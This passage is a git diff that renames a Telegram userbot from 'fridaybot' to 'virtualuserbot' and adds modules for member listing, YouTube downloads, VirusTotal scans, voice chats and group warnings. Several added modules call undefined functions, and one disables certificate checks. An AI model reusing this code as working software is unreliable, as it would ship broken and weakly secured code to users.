{}".format(input_str)) + + +@friday.on(friday_on_cmd(pattern="zeelink")) +async def lol_kangers(event): + input_str = event.raw_text.split(" ", maxsplit=1)[1] + if "zee" in input_str: + url = "http://devsexpo.me/zee/" + sed = {"url": input_str} + lmao = requests.get(url=url, headers=sed).json() + else: + await event.edit("Only Zee Videos Supported.") + return + if lmao["success"] is False: + await event.edit("Task Failed Due To " + str(lmao["error"])) + return + await event.edit("Direct Link Fetched \nURL : " + str(lmao["url"])) + + CMD_HELP.update( { "download": ".dl or reply to media\ diff --git a/fridaybot/modules/uploadtoverysteam.py b/virtualuserbot/modules/uploadtoverysteam.py similarity index 99% rename from fridaybot/modules/uploadtoverysteam.py rename to virtualuserbot/modules/uploadtoverysteam.py index a2153f05..d274ae14 100644 --- a/fridaybot/modules/uploadtoverysteam.py +++ b/virtualuserbot/modules/uploadtoverysteam.py @@ -14,7 +14,7 @@ import requests from uniborg.util import friday_on_cmd, progress -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern="verystream ?(.*)", allow_sudo=True)) diff --git a/fridaybot/modules/urbandictionary.py b/virtualuserbot/modules/urbandictionary.py similarity index 93% rename from fridaybot/modules/urbandictionary.py rename to virtualuserbot/modules/urbandictionary.py index 2f4091de..1656b2e0 100644 --- a/fridaybot/modules/urbandictionary.py +++ b/virtualuserbot/modules/urbandictionary.py @@ -5,8 +5,8 @@ Syntax: .ud Query""" import urbandict -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("ud (.*)")) diff --git a/fridaybot/modules/urlshortner.py b/virtualuserbot/modules/urlshortner.py similarity index 79% rename from fridaybot/modules/urlshortner.py rename to virtualuserbot/modules/urlshortner.py index f2e00427..eb95de7e 100644 --- a/fridaybot/modules/urlshortner.py +++ b/virtualuserbot/modules/urlshortner.py @@ -1,7 +1,7 @@ import pyshorteners -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd(pattern="urlshort (.*)")) @@ -12,8 +12,8 @@ async def vom(event): sed = pyshorteners.Shortener() kek = sed.tinyurl.short(link) bestisbest = ( - f"Url Shortened \nGiven Link{link} \n" - f"Shortened Link{kek}" + f"Url Shortened \nGiven Link ➠ {link}\n" + f"Shortened Link ➠ {kek}" ) await event.edit(bestisbest, parse_mode="HTML") except Exception as e: diff --git a/fridaybot/modules/userinfo.py b/virtualuserbot/modules/userinfo.py similarity index 96% rename from fridaybot/modules/userinfo.py rename to virtualuserbot/modules/userinfo.py index bfb89339..45bf96e9 100644 --- a/fridaybot/modules/userinfo.py +++ b/virtualuserbot/modules/userinfo.py @@ -22,8 +22,8 @@ MessageEntityMentionName, ) -from fridaybot import CMD_HELP -from fridaybot.events import register +from virtualuserbot import CMD_HELP +from virtualuserbot.events import register def parse_arguments(message: str, valid: List[str]) -> (dict, str): @@ -66,7 +66,7 @@ def extract_urls(message): return list(matches) -async def get_user_from_id(user, event): +async def get_user_sender_id(user, event): if isinstance(user, str): user = int(user) @@ -80,7 +80,7 @@ async def get_user_from_id(user, event): async def get_user_from_event(event: NewMessage.Event, **kwargs): - """ Get the user from argument or replied message. """ + """Get the user from argument or replied message.""" reply_msg: Message = await event.get_reply_message() user = kwargs.get("user", None) @@ -117,7 +117,9 @@ async def get_user_from_event(event: NewMessage.Event, **kwargs): # Check for a replied to message elif event.reply_to_msg_id: previous_message = await event.get_reply_message() - replied_user = await event.client(GetFullUserRequest(previous_message.from_id)) + replied_user = await event.client( + GetFullUserRequest(previous_message.sender_id) + ) # Last case scenario is to get the current user else: @@ -287,7 +289,7 @@ def __str__(self) -> str: @register(pattern=r"^\.u(?:ser)?(\s+[\S\s]+|$)", outgoing=True) async def who(event: NewMessage.Event): - """ For .user command, get info about a user. """ + """For .user command, get info about a user.""" if event.fwd_from: return @@ -316,7 +318,7 @@ async def who(event: NewMessage.Event): async def fetch_info(replied_user, **kwargs): - """ Get details from the User object. """ + """Get details from the User object.""" user = replied_user.user id_only = kwargs.get("id", False) diff --git a/virtualuserbot/modules/userlist.py b/virtualuserbot/modules/userlist.py new file mode 100644 index 00000000..d6ddb07e --- /dev/null +++ b/virtualuserbot/modules/userlist.py @@ -0,0 +1,54 @@ +"""Get Administrators of any Chat* +Syntax: .userlist""" +from telethon import events +from telethon.errors.rpcerrorlist import ChatAdminRequiredError, MessageTooLongError + + +@borg.on(events.NewMessage(pattern=r"\.userlist ?(.*)", outgoing=True)) +async def get_users(show): + """For .userslist command, list all of the users of the chat.""" + if not show.text[0].isalpha() and show.text[0] not in ("/", "#", "@", "!"): + if not show.is_group: + await show.edit("Are you sure this is a group?") + return + info = await show.client.get_entity(show.chat_id) + title = info.title if info.title else "this chat" + mentions = "Users in {}: \n".format(title) + try: + if not show.pattern_match.group(1): + async for user in show.client.iter_participants(show.chat_id): + if not user.deleted: + mentions += ( + f"\n[{user.first_name}](tg://user?id={user.id}) `{user.id}`" + ) + else: + mentions += f"\nDeleted Account `{user.id}`" + else: + searchq = show.pattern_match.group(1) + async for user in show.client.iter_participants( + show.chat_id, search=f"{searchq}" + ): + if not user.deleted: + mentions += ( + f"\n[{user.first_name}](tg://user?id={user.id}) `{user.id}`" + ) + else: + mentions += f"\nDeleted Account `{user.id}`" + except ChatAdminRequiredError as err: + mentions += " " + str(err) + "\n" + try: + await show.edit(mentions) + except MessageTooLongError: + await show.edit( + "Damn, this is a huge group. Uploading users lists as file." + ) + file = open("userslist.txt", "w+") + file.write(mentions) + file.close() + await show.client.send_file( + show.chat_id, + "userslist.txt", + caption="Users in {}".format(title), + reply_to=show.id, + ) + remove("userslist.txt") diff --git a/virtualuserbot/modules/utube.py b/virtualuserbot/modules/utube.py new file mode 100644 index 00000000..6883cd21 --- /dev/null +++ b/virtualuserbot/modules/utube.py @@ -0,0 +1,137 @@ +# Plugin made by @hellboi_atul for DARK COBRA.. +# You can use this..but don't edit/remove these comment lines.. +# This module fetches the link from YouTube for the given query.. +# merged .uta +# So wahi...Enjoy + + +import asyncio +import re + +from telethon.errors.rpcerrorlist import YouBlockedUserError + +from virtualuserbot import CMD_HELP, bot + +from ..utils import admin_cmd, edit_or_reply + +IF_EMOJI = re.compile( + "[" + "\U0001F1E0-\U0001F1FF" # flags (iOS) + "\U0001F300-\U0001F5FF" # symbols & pictographs + "\U0001F600-\U0001F64F" # emoticons + "\U0001F680-\U0001F6FF" # transport & map symbols + "\U0001F700-\U0001F77F" # alchemical symbols + "\U0001F780-\U0001F7FF" # Geometric Shapes Extended + "\U0001F800-\U0001F8FF" # Supplemental Arrows-C + "\U0001F900-\U0001F9FF" # Supplemental Symbols and Pictographs + "\U0001FA00-\U0001FA6F" # Chess Symbols + "\U0001FA70-\U0001FAFF" # Symbols and Pictographs Extended-A + "\U00002702-\U000027B0" # Dingbats + "]+" +) + + +def deEmojify(inputString: str) -> str: + """Remove emojis and other non-safe characters from string""" + return re.sub(IF_EMOJI, "", inputString) + + +@borg.on(admin_cmd(pattern="utv ?(.*)")) +async def nope(doit): + ok = doit.pattern_match.group(1) + if not ok: + if doit.is_reply: + (await doit.get_reply_message()).message + else: + await doit.edit("`Please give some query to search..!`") + return + sticcers = await bot.inline_query("vid", f"{(deEmojify(ok))}") + await sticcers[0].click( + doit.chat_id, + reply_to=doit.reply_to_msg_id, + silent=True if doit.is_reply else False, + hide_via=True, + ) + await doit.delete() + + +# Social Distancing.. + + +@borg.on(admin_cmd(pattern="uta ?(.*)")) +async def nope(doit): + ok = doit.pattern_match.group(1) + if not ok: + if doit.is_reply: + (await doit.get_reply_message()).message + else: + await doit.edit( + "`Sir please give some query to search and download it for you..!`" + ) + return + sticcers = await bot.inline_query("Lybot", f"{(deEmojify(ok))}") + await sticcers[0].click( + doit.chat_id, + reply_to=doit.reply_to_msg_id, + silent=True if doit.is_reply else False, + hide_via=True, + ) + await doit.delete() + + +SEARCH_STRING = "Ok weit, searching...." +NOT_FOUND_STRING = "Sorry !I am unable to find any results to your query" +SENDING_STRING = "Ok I found something related to that....." +BOT_BLOCKED_STRING = "Please unblock @utubebot and try again" + + +@bot.on(admin_cmd(pattern="ut ?(.*)")) +async def fetcher(event): + if event.fwd_from: + return + song = event.pattern_match.group(1) + chat = "@utubebot" + event = await edit_or_reply(event, SEARCH_STRING, parse_mode="html") + async with event.client.conversation(chat) as conv: + try: + purgeflag = await conv.send_message("/start") + await conv.get_response() + await conv.send_message(song) + ok = await conv.get_response() + while ok.edit_hide != True: + await asyncio.sleep(0.1) + ok = await event.client.get_messages(chat, ids=ok.id) + baka = await event.client.get_messages(chat) + if baka[0].message.startswith(("Sorry I found nothing..")): + await delete_messages(event, chat, purgeflag) + return await edit_delete( + event, NOT_FOUND_STRING, parse_mode="html", time=5 + ) + await event.edit(SENDING_STRING, parse_mode="html") + await baka[0].click(0) + music = await conv.get_response() + await event.client.send_read_acknowledge(conv.chat_id) + except YouBlockedUserError: + await event.edit(BOT_BLOCKED_STRING, parse_mode="html") + return + await event.client.send_file( + event.chat_id, + music, + caption=f"==> {song}", + parse_mode="html", + ) + await event.delete() + await delete_messages(event, chat, purgeflag) + + +CMD_HELP.update( + { + "utube": "__**PLUGIN NAME :** All YouTube__\ + \n\n📌** CMD ★** `.uta (song name)`\ + \n**USAGE ★ **Send sudio song via Lybot\ + \n\n📌** CMD ★** `.utv (song name)`\ + \n**USAGE ★ **Send video song via vidbot \ + \n\n📌** CMD ★** `.ut (utube video link)`\ + \n**USAGE ★ **not fixed yet, we'll try to fix later 😅😅" + } +) diff --git a/virtualuserbot/modules/vc.py b/virtualuserbot/modules/vc.py new file mode 100644 index 00000000..5a65dc4e --- /dev/null +++ b/virtualuserbot/modules/vc.py @@ -0,0 +1,33 @@ +from telethon.tl.functions.phone import CreateGroupCallRequest as startvc +from telethon.tl.functions.phone import DiscardGroupCallRequest as stopvc + +from virtualuserbot.events import register + + +async def get_call(event): + mm = await event.client(getchat(event.chat_id)) + xx = await event.client(getvc(mm.full_chat.call)) + return xx.call + + +def user_list(l, n): + for i in range(0, len(l), n): + yield l[i : i + n] + + +@register(outgoing=True, pattern=r"^\.joinvc (.*)") +async def _(event): + try: + await event.client(startvc(await get_call(event))) + await event.edit(event, "`Voice Chat Started...`") + except Exception as ex: + await event.edit(event, f"`{str(ex)}`") + + +@register(outgoing=True, pattern=r"^\.stopvc (.*)") +async def _(event): + try: + await event.client(stopvc(await get_call(event))) + await event.edit(event, "`Voice Chat Stopped...`") + except Exception as ex: + await event.edit(event, f"`{str(ex)}`") diff --git a/fridaybot/modules/verysteam.py b/virtualuserbot/modules/verysteam.py similarity index 99% rename from fridaybot/modules/verysteam.py rename to virtualuserbot/modules/verysteam.py index d9f07d80..f14ccd10 100644 --- a/fridaybot/modules/verysteam.py +++ b/virtualuserbot/modules/verysteam.py @@ -14,7 +14,7 @@ import requests from uniborg.util import friday_on_cmd, progress -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern="verystream ?(.*)", allow_sudo=True)) diff --git a/virtualuserbot/modules/virustotal.py b/virtualuserbot/modules/virustotal.py new file mode 100644 index 00000000..b3c28345 --- /dev/null +++ b/virtualuserbot/modules/virustotal.py @@ -0,0 +1,138 @@ +import asyncio +import math +import os +import time + +import requests +from uniborg.util import friday_on_cmd + +from virtualuserbot import CMD_HELP, TEMP_DOWNLOAD_DIRECTORY +from virtualuserbot.Configs import Config +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd + +# from var import var + + +async def progress(current, total, event, start, type_of_ps, file_name=None): + """Generic progress_callback for uploads and downloads.""" + now = time.time() + diff = now - start + if round(diff % 10.00) == 0 or current != total: + percentage = current * 100 / total + speed = current / diff + elapsed_time = round(diff) * 1000 + time_to_completion = round((total - current) / speed) * 1000 + estimated_total_time = elapsed_time + time_to_completion + progress_str = "[{0}{1}] {2}%\n".format( + "".join(["▰" for i in range(math.floor(percentage / 10))]), + "".join(["▱" for i in range(10 - math.floor(percentage / 10))]), + round(percentage, 2), + ) + tmp = progress_str + "{0} of {1}\nETA: {2}".format( + humanbytes(current), humanbytes(total), time_formatter(estimated_total_time) + ) + if file_name: + await event.edit( + "{}\nFile Name: `{}`\n{}".format(type_of_ps, file_name, tmp) + ) + else: + await event.edit("{}\n{}".format(type_of_ps, tmp)) + + +def humanbytes(size): + """Input size in bytes, + outputs in a human readable format""" + # https://stackoverflow.com/a/49361727/4723940 + if not size: + return "" + # 2 ** 10 = 1024 + power = 2 ** 10 + raised_to_pow = 0 + dict_power_n = {0: "", 1: "Ki", 2: "Mi", 3: "Gi", 4: "Ti"} + while size > power: + size /= power + raised_to_pow += 1 + return str(round(size, 2)) + " " + dict_power_n[raised_to_pow] + "B" + + +def time_formatter(milliseconds: int) -> str: + """Inputs time in milliseconds, to get beautified time, + as string""" + seconds, milliseconds = divmod(int(milliseconds), 1000) + minutes, seconds = divmod(seconds, 60) + hours, minutes = divmod(minutes, 60) + days, hours = divmod(hours, 24) + tmp = ( + ((str(days) + " day(s), ") if days else "") + + ((str(hours) + " hour(s), ") if hours else "") + + ((str(minutes) + " minute(s), ") if minutes else "") + + ((str(seconds) + " second(s), ") if seconds else "") + + ((str(milliseconds) + " millisecond(s), ") if milliseconds else "") + ) + return tmp[:-2] + + +sedpath = "./fridaydevs/" +if not os.path.isdir(sedpath): + os.makedirs(sedpath) + + +@friday.on(friday_on_cmd(pattern="vt(?: |$)(.*)", outgoing=True)) +@friday.on(sudo_cmd(pattern="vt(?: |$)(.*)", allow_sudo=True)) +async def download(target_file): + friday = await edit_or_reply(target_file, "`Processing ...`") + if Config.VIRUSTOTAL_API_KEY is None: + await friday.edit( + "Need to get an API key from https://virustotal.com\nModule stopping!" + ) + return + await friday.edit("Processing using VirtualUserbot server ( ◜‿◝ )♡") + input_str = Config.VIRUSTOTAL_API_KEY + if not os.path.isdir(sedpath): + os.makedirs(sedpath) + if target_file.reply_to_msg_id: + try: + c_time = time.time() + downloaded_file_name = await target_file.client.download_media( + await target_file.get_reply_message(), + TEMP_DOWNLOAD_DIRECTORY, + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, target_file, c_time, "Downloading...") + ), + ) + except Exception as e: # pylint:disable=C0103,W0703 + await friday.edit(str(e)) + else: + await friday.edit( + "Downloaded to `{}` successfully !!".format(downloaded_file_name) + ) + else: + await friday.edit("Reply to a file..") + + url = "https://www.virustotal.com/vtapi/v2/file/scan" + + params = {"apikey": input_str} + files = {"file": (downloaded_file_name, open(downloaded_file_name, "rb"))} + response = requests.post(url, files=files, params=params) + try: + a = response.json() + b = a["permalink"] + except: + await friday.edit("your file is larger than 32 mb.") + try: + await friday.edit( + f" File Scan Request Complete\n\nLink of the report:-\n{b}\n\nNote:- Please open the link after 5-10 minutes.", + parse_mode="HTML", + ) + except: + await friday.edit("your file is larger than 32 mb. --__--") + + +CMD_HELP.update( + { + "virustotal": "**VirusTotal**\ +\n\n**Syntax : **`.vt `\ +\n**Usage :** Scans replyed file with virustotal.\ +\n**note** :** File should be less than 32 mb." + } +) diff --git a/fridaybot/modules/voice.py b/virtualuserbot/modules/voice.py similarity index 96% rename from fridaybot/modules/voice.py rename to virtualuserbot/modules/voice.py index 97ab0c69..a13460fc 100644 --- a/fridaybot/modules/voice.py +++ b/virtualuserbot/modules/voice.py @@ -9,8 +9,8 @@ from gtts import gTTS -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern="voice (.*)")) diff --git a/virtualuserbot/modules/vsong.py b/virtualuserbot/modules/vsong.py new file mode 100644 index 00000000..140d72ca --- /dev/null +++ b/virtualuserbot/modules/vsong.py @@ -0,0 +1,217 @@ +# Plugin made by @hellboi_atul and bug fixes By Shivam Patel(Team Cobra) +# Give credits... Dont remove or edit these lines +# uses ytdl +# DARK COBRA Userbots plugin +# reconfigured for Virtual userbot.. + +import asyncio +import json +import math +import os +import time + +from telethon.tl.types import DocumentAttributeAudio +from uniborg.util import admin_cmd +from youtube_dl import YoutubeDL +from youtube_dl.utils import ( + ContentTooShortError, + DownloadError, + ExtractorError, + GeoRestrictedError, + MaxDownloadsReached, + PostProcessingError, + UnavailableVideoError, + XAttrMetadataError, +) + +from virtualuserbot.utils import progress + +try: + from youtubesearchpython import SearchVideos +except: + os.system("pip install pip install youtube-search-python") + from youtubesearchpython import SearchVideos + + +async def progress(current, total, event, start, type_of_ps, file_name=None): + """Generic progress_callback for uploads and downloads.""" + now = time.time() + diff = now - start + if round(diff % 10.00) == 0 or current == total: + percentage = current * 100 / total + speed = current / diff + elapsed_time = round(diff) * 1000 + time_to_completion = round((total - current) / speed) * 1000 + estimated_total_time = elapsed_time + time_to_completion + progress_str = "{0}{1} {2}%\n".format( + "".join(["▰" for i in range(math.floor(percentage / 10))]), + "".join(["▱" for i in range(10 - math.floor(percentage / 10))]), + round(percentage, 2), + ) + tmp = progress_str + "{0} of {1}\nETA: {2}".format( + humanbytes(current), humanbytes(total), time_formatter(estimated_total_time) + ) + if file_name: + await event.edit( + "{}\nFile Name: `{}`\n{}".format(type_of_ps, file_name, tmp) + ) + else: + await event.edit("{}\n{}".format(type_of_ps, tmp)) + + +def humanbytes(size): + """Input size in bytes, + outputs in a human readable format""" + # https://stackoverflow.com/a/49361727/4723940 + if not size: + return "" + # 2 ** 10 = 1024 + power = 2 ** 10 + raised_to_pow = 0 + dict_power_n = {0: "", 1: "Ki", 2: "Mi", 3: "Gi", 4: "Ti"} + while size > power: + size /= power + raised_to_pow += 1 + return str(round(size, 2)) + " " + dict_power_n[raised_to_pow] + "B" + + +def time_formatter(milliseconds: int) -> str: + """Inputs time in milliseconds, to get beautified time, + as string""" + seconds, milliseconds = divmod(int(milliseconds), 1000) + minutes, seconds = divmod(seconds, 60) + hours, minutes = divmod(minutes, 60) + days, hours = divmod(hours, 24) + tmp = ( + ((str(days) + " day(s), ") if days else "") + + ((str(hours) + " hour(s), ") if hours else "") + + ((str(minutes) + " minute(s), ") if minutes else "") + + ((str(seconds) + " second(s), ") if seconds else "") + + ((str(milliseconds) + " millisecond(s), ") if milliseconds else "") + ) + return tmp[:-2] + + +@borg.on(admin_cmd(pattern="vsong (.*)")) +async def download_video(v_url): + pro = v_url + sender = await pro.get_sender() + me = await pro.client.get_me() + pro1 = v_url.text + if not sender.id == me.id: + dc = await pro.reply("`processing, please weit...`") + else: + dc = await pro.edit("`processing, please weit...😍`") + teamcobra = pro1[8:] + if not teamcobra: + return await dc.edit("`Error \nusage vsong `") + search = SearchVideos(teamcobra, offset=1, mode="json", max_results=1) + test = search.result() + p = json.loads(test) + q = p.get("search_result") + try: + teamcobra = q[0]["link"] + except: + return await dc.edit("`failed to find your desired song`") + type = "audio" + await dc.edit("`Ok downloading your song🤓...`") + if type == "audio": + opts = { + "format": "best", + "addmetadata": True, + "key": "FFmpegMetadata", + "prefer_ffmpeg": True, + "geo_bypass": True, + "nocheckcertificate": True, + "postprocessors": [ + {"key": "FFmpegVideoConvertor", "preferedformat": "mp4"} + ], + "outtmpl": "%(id)s.mp4", + "logtostderr": False, + "quiet": True, + } + song = False + video = True + try: + await dc.edit("`Fetching data, please wait..😋😍😎`") + with YoutubeDL(opts) as darkcobra: + darkcobra_data = darkcobra.extract_info(teamcobra) + except DownloadError as error: + await dc.edit(f"`{str(error)}`") + return + except ContentTooShortError: + await dc.edit("`Oof the download content was too short😮🤐.`") + return + except GeoRestrictedError: + await dc.edit( + "`Video is not available from your geographic location due to geographic restrictions imposed by a website🤔.`" + ) + return + except MaxDownloadsReached: + await dc.edit("`Max-downloads limit has been reached😶.`") + return + except PostProcessingError: + await dc.edit("`There was an error during post processing😐.`") + return + except UnavailableVideoError: + await dc.edit("`sorry, media is not available in the requested format.`") + return + except XAttrMetadataError as XAME: + await dc.edit(f"`{XAME.code}: {XAME.msg}\n{XAME.reason}`") + return + except ExtractorError: + await dc.edit("`There was an error while fetching your query...`") + return + except Exception as e: + await dc.edit(f"{str(type(e)): {str(e)}}") + return + c_time = time.time() + if song: + await dc.edit( + f"`Preparing to upload your video song😎 `\ + \n**{darkcobra_data['title']}**\ + \nby *{darkcobra_data['uploader']}*" + ) + await v_url.client.send_file( + v_url.chat_id, + f"{darkcobra_data['id']}.mp3", + supports_streaming=True, + attributes=[ + DocumentAttributeAudio( + duration=int(darkcobra_data["duration"]), + title=str(darkcobra_data["title"]), + performer=str(darkcobra_data["uploader"]), + ) + ], + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress( + d, + t, + v_url, + c_time, + "Uploading your video song😍..", + f"{darkcobra_data['title']}.mp3", + ) + ), + ) + os.remove(f"{darkcobra_data['id']}.mp3") + await v_url.delete() + elif video: + await dc.edit( + f"`Preparing to upload your video song🤗❤ :`\ + \n**{darkcobra_data['title']}**\ + \nby *{darkcobra_data['uploader']}*" + ) + await v_url.client.send_file( + v_url.chat_id, + f"{darkcobra_data['id']}.mp4", + supports_streaming=True, + caption=darkcobra_data["title"], + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress( + d, t, v_url, c_time, "Uploading..", f"{darkcobra_data['title']}.mp4" + ) + ), + ) + os.remove(f"{darkcobra_data['id']}.mp4") + await dc.delete() diff --git a/fridaybot/modules/waifu.py b/virtualuserbot/modules/waifu.py similarity index 94% rename from fridaybot/modules/waifu.py rename to virtualuserbot/modules/waifu.py index 0b1f7161..f4e2be7e 100644 --- a/fridaybot/modules/waifu.py +++ b/virtualuserbot/modules/waifu.py @@ -3,8 +3,8 @@ import random import re -from fridaybot import CMD_HELP, bot -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP, bot +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd EMOJI_PATTERN = re.compile( "[" diff --git a/virtualuserbot/modules/wallpapers.py b/virtualuserbot/modules/wallpapers.py new file mode 100644 index 00000000..5f5ff200 --- /dev/null +++ b/virtualuserbot/modules/wallpapers.py @@ -0,0 +1,87 @@ +import os +import shutil +from re import findall + +from virtualuserbot import CMD_HELP +from virtualuserbot.googol_images import googleimagesdownload +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd + + +@friday.on(friday_on_cmd(pattern="wpaper ?(.*)")) +@friday.on(sudo_cmd(pattern="img ?(.*)", allow_sudo=True)) +async def img_sampler(event): + await edit_or_reply(event, "`Processing...`") + reply = await event.get_reply_message() + if event.pattern_match.group(1): + queryo = event.pattern_match.group(1) + elif reply: + queryo = reply.message + else: + await edit_or_reply( + event, "`um, mind mentioning what I actually need to search for ;_;`" + ) + return + query = queryo + "hd wallpaper" + lim = findall(r"lim=\d+", query) + # lim = event.pattern_match.group(1) + try: + lim = lim[0] + lim = lim.replace("lim=", "") + query = query.replace("lim=" + lim[0], "") + except IndexError: + lim = 5 + response = googleimagesdownload() + + # creating list of arguments + arguments = { + "keywords": query, + "limit": lim, + "format": "jpg", + "no_directory": "no_directory", + } + + # passing the arguments to the function + paths = response.download(arguments) + lst = paths[0][query] + await event.client.send_file( + await event.client.get_input_entity(event.chat_id), lst + ) + shutil.rmtree(os.path.dirname(os.path.abspath(lst[0]))) + await event.delete() + + query = queryo + "ultra hd wallpaper" + lim = findall(r"lim=\d+", query) + # lim = event.pattern_match.group(1) + try: + lim = lim[0] + lim = lim.replace("lim=", "") + query = query.replace("lim=" + lim[0], "") + except IndexError: + lim = 3 + response = googleimagesdownload() + + # creating list of arguments + arguments = { + "keywords": query, + "limit": lim, + "format": "jpg", + "no_directory": "no_directory", + } + + # passing the arguments to the function + paths = response.download(arguments) + lst = paths[0][query] + await event.client.send_file( + await event.client.get_input_entity(event.chat_id), lst + ) + shutil.rmtree(os.path.dirname(os.path.abspath(lst[0]))) + await event.delete() + + +CMD_HELP.update( + { + "wallpaper": "**Wallpaper**\ +\n\n**Syntax : **`.wpaper `\ +\n**Usage :** get wallpapers just with a query." + } +) diff --git a/fridaybot/modules/warnbun.py b/virtualuserbot/modules/warnbun.py similarity index 98% rename from fridaybot/modules/warnbun.py rename to virtualuserbot/modules/warnbun.py index 56e9b262..8df2fa45 100644 --- a/fridaybot/modules/warnbun.py +++ b/virtualuserbot/modules/warnbun.py @@ -1,7 +1,7 @@ """.admin Plugin for @UniBorg""" from telethon.tl.types import ChannelParticipantsAdmins -from fridaybot.utils import friday_on_cmd +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("warn1")) diff --git a/virtualuserbot/modules/warns.py b/virtualuserbot/modules/warns.py new file mode 100644 index 00000000..944c1310 --- /dev/null +++ b/virtualuserbot/modules/warns.py @@ -0,0 +1,187 @@ +from virtualuserbot import CMD_HELP +from virtualuserbot.modules.sql_helper import warns_sql as sql +from virtualuserbot.utils import friday_on_cmd + + +@friday.on(friday_on_cmd(pattern="warn(?: |$)(.*)")) +async def _s(event): + user, reason = await get_user_from_event(event) + sed = await friday.get_permissions(event.chat_id, user.id) + if sed.is_admin: + await event.edit("`Demn, Admins Can't Be Warned`") + return + dragon = await friday.get_permissions(event.chat_id, bot.uid) + if not dragon.is_admin: + await event.edit("`Demn, Me nOT Admin`") + return + limit, soft_warn = sql.get_warn_setting(event.chat_id) + num_warns, reasons = sql.warn_user(user.id, event.chat_id, reason) + if num_warns >= limit: + sql.reset_warns(user.id, event.chat_id) + if soft_warn: + await friday.kick_participant(event.chat_id, user.id) + reply = "{} warnings, {} has been kicked!".format(limit, user.id) + await event.edit(reply) + else: + await friday.edit_permissions(event.chat_id, user.id, view_messages=False) + reply = "{} warnings, {} has been banned!".format( + limit, user.id, user.first_name + ) + await event.edit(reply) + for warn_reason in reasons: + reply += "\n - {}".format(warn_reason) + else: + reply = "{} has {}/{} warnings... watch out!".format(user.id, num_warns, limit) + if reason: + reply += "\nReason for last warn:\n{}".format(reason) + await event.edit(reply) + + +@friday.on(friday_on_cmd(pattern="rwarn(?: |$)(.*)")) +async def _(event): + user, reason = await get_user_from_event(event) + sed = await friday.get_permissions(event.chat_id, user.id) + if sed.is_admin: + await event.edit("Demn, Admins Can't Be Warned") + return + dragon = await friday.get_permissions(event.chat_id, bot.uid) + if not dragon.is_admin: + await event.edit("Demn, Me nOT Admin") + return + sql.reset_warns(user.id, event.chat_id) + await event.edit("Warnings have been reset!") + + +@friday.on(friday_on_cmd(pattern="allwarns(?: |$)(.*)")) +async def __(event): + user, reason = await get_user_from_event(event) + result = sql.get_warns(user.id, event.chat_id) + if result and result[0] != 0: + num_warns, reasons = result + limit, soft_warn = sql.get_warn_setting(event.chat_id) + if reasons: + text = ( + "This user has {}/{} warnings, for the following reasons: \n\n".format( + num_warns, limit + ) + ) + for reason in reasons: + text += "- {} \n".format(reason) + await event.edit(text) + else: + await event.edit( + "User has {}/{} warnings, but no reasons for any of them.".format( + num_warns, limit + ) + ) + else: + await event.edit("This user hasn't got any warnings!") + + +@friday.on(friday_on_cmd(pattern="slimit ?(.*)")) +async def m_(event): + args = event.pattern_match.group(1) + if args: + if args.isdigit(): + if int(args) < 3: + await event.edit("The minimum warn limit is 3!") + else: + sql.set_warn_limit(event.chat_id, int(args)) + await event.edit("Updated the warn limit to {}".format(args)) + else: + await event.edit("Give me a number as an arg!") + else: + limit, soft_warn = sql.get_warn_setting(event.chat_id) + await event.edit("The current warn limit is {}".format(limit)) + + +@friday.on(friday_on_cmd(pattern="wap ?(.*)")) +async def m_(event): + args = event.pattern_match.group(1) + if args: + if args.lower() in ("on", "yes"): + sql.set_warn_strength(event.chat_id, False) + await event.edit("Too many warns will now result in a ban!") + elif args.lower() in ("off", "no"): + sql.set_warn_strength(event.chat_id, True) + await event.edit( + "Too many warns will now result in a kick! Users will be able to join again after." + ) + else: + await event.edit("I only understand on/yes/no/off!") + else: + limit, soft_warn = sql.get_warn_setting(chat.id) + if soft_warn: + await event.edit( + "Warns are currently set to **kick** users when they exceed the limits." + ) + else: + await event.edit( + "Warns are currently set to **ban** users when they exceed the limits." + ) + + +async def get_user_from_event(event): + """Get the user from argument or replied message.""" + args = event.pattern_match.group(1).split(" ", 1) + extra = None + if event.reply_to_msg_id: + previous_message = await event.get_reply_message() + user_obj = await event.client.get_entity(previous_message.sender_id) + extra = event.pattern_match.group(1) + elif args: + user = args[0] + if len(args) == 2: + extra = args[1] + + if user.isnumeric(): + user = int(user) + + if not user: + await event.edit("`Pass the user's username, id or reply!`") + return + + if event.message.entities is not None: + probable_user_mention_entity = event.message.entities[0] + + if isinstance(probable_user_mention_entity, MessageEntityMentionName): + user_id = probable_user_mention_entity.user_id + user_obj = await event.client.get_entity(user_id) + return user_obj + try: + user_obj = await event.client.get_entity(user) + except (TypeError, ValueError) as err: + await event.edit(str(err)) + return None + + return user_obj, extra + + +async def get_user_sender_id(user, event): + if isinstance(user, str): + user = int(user) + + try: + user_obj = await event.client.get_entity(user) + except (TypeError, ValueError) as err: + await event.edit(str(err)) + return None + + return user_obj + + +CMD_HELP.update( + { + "warns": "**Warns**\ +\n\n**Syntax : **`.warn `\ +\n**Usage :** Warns The Given User.\ +\n\n**Syntax : **`.rwarn `\ +\n**Usage :** Removes Warn Of The User.\ +\n\n**Syntax : **`.allwarns `\ +\n**Usage :** Shows All The Warns Of The Given User.\ +\n\n**Syntax : **`.slimit `\ +\n**Usage :** Sets Maximum Warn Limit.\ +\n\n**Syntax : **`.wap `\ +\n**Usage :** If this is turned on, user gets banned after reaching maximum warns. If it's off, user is kicked." + } +) diff --git 